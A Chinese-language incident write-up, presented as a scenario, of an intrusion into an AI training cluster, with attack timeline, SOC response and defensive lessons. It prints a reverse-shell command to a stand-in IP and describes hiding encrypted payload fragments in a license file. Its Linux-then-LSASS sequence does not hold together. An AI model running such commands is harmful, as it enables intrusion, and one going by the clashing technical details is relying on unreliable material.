场景：2026年9月，某互联网金融公司AI训练服务器集群遭爆破入侵，攻击者以加密分段载荷藏于软件免责声明资源中，规避静态检测。
攻击 / 事件时间线
初始访问：爆破与漏洞入口
攻击者针对暴露在公网的AI训练服务器（Jupyter Notebook服务）发起SSH弱口令爆破，成功登录后利用CVE-2024-6387（regreSSHion）在sshd进程中触发竞争条件，获取root权限。随后通过bash -i >& /dev/tcp/1.2.3.4/443 0>&1建立反弹shell，并下载名为snowlight.sh的bash脚本，该脚本负责环境探测与持久化配置。
HydraCVE-2024-6387 PoCNetcat
载荷投递：snippet.host与分段加密
攻击者访问文本托管网站snippet.host，上传后续组件下载链接。将加密的payload拆分为多段，分别插入到software_license.txt免责声明文本中作为“资源”字段。该文件通过合法CDN分发，加载时由snowlight.sh按标记分段提取、组合后使用AES-256-CBC解密，最终落地为C2 beacon。
snippet.hostAES-256-CBCBash
横向移动与凭据窃取
攻击者利用解密后的C2 beacon（基于Sliver框架）在AI训练集群内横向移动，通过Mimikatz抓取LSASS内存中的明文凭据，发现域管账户。随后使用Impacket的wmiexec.py远程执行命令，控制训练数据存储节点，并开始打包模型权重与训练数据集。
Sliver C2MimikatzImpacket
蓝队视角 · 发现与处置
SOC在凌晨3点收到EDR告警：一台AI服务器出现异常sshd子进程及对外443端口连接。值班分析师通过Sysmon日志发现snowlight.sh执行痕迹，并定位到software_license.txt中的异常Base64块。蓝队立即隔离该主机，提取内存镜像进行YARA扫描，同时排查同网段其他节点，发现2台已失陷。通过流量分析确认C2域名，在边界防火墙封禁并启动取证镜像分析。
涉及关键技术 / 工具
SSH爆破结合CVE-2024-6387获取root权限分段加密载荷隐藏于免责声明文本资源中Sliver C2配合Mimikatz进行凭据窃取与横向移动
防护经验总结
- 对公网暴露的AI训练服务强制启用MFA并限制源IP，禁用密码登录，定期审计sshd版本并修补CVE-2024-6387。
- 部署YARA规则监控文本托管站点（如snippet.host）的下载行为，对分段Base64/hex内容进行熵值检测，阻断异常载荷组合。
- 在域内启用LSA保护（RunAsPPL）并限制域管账户的远程WMI执行权限，定期轮换高权限凭据。
#AI服务器#分段载荷#CVE-2024-6387#Sliver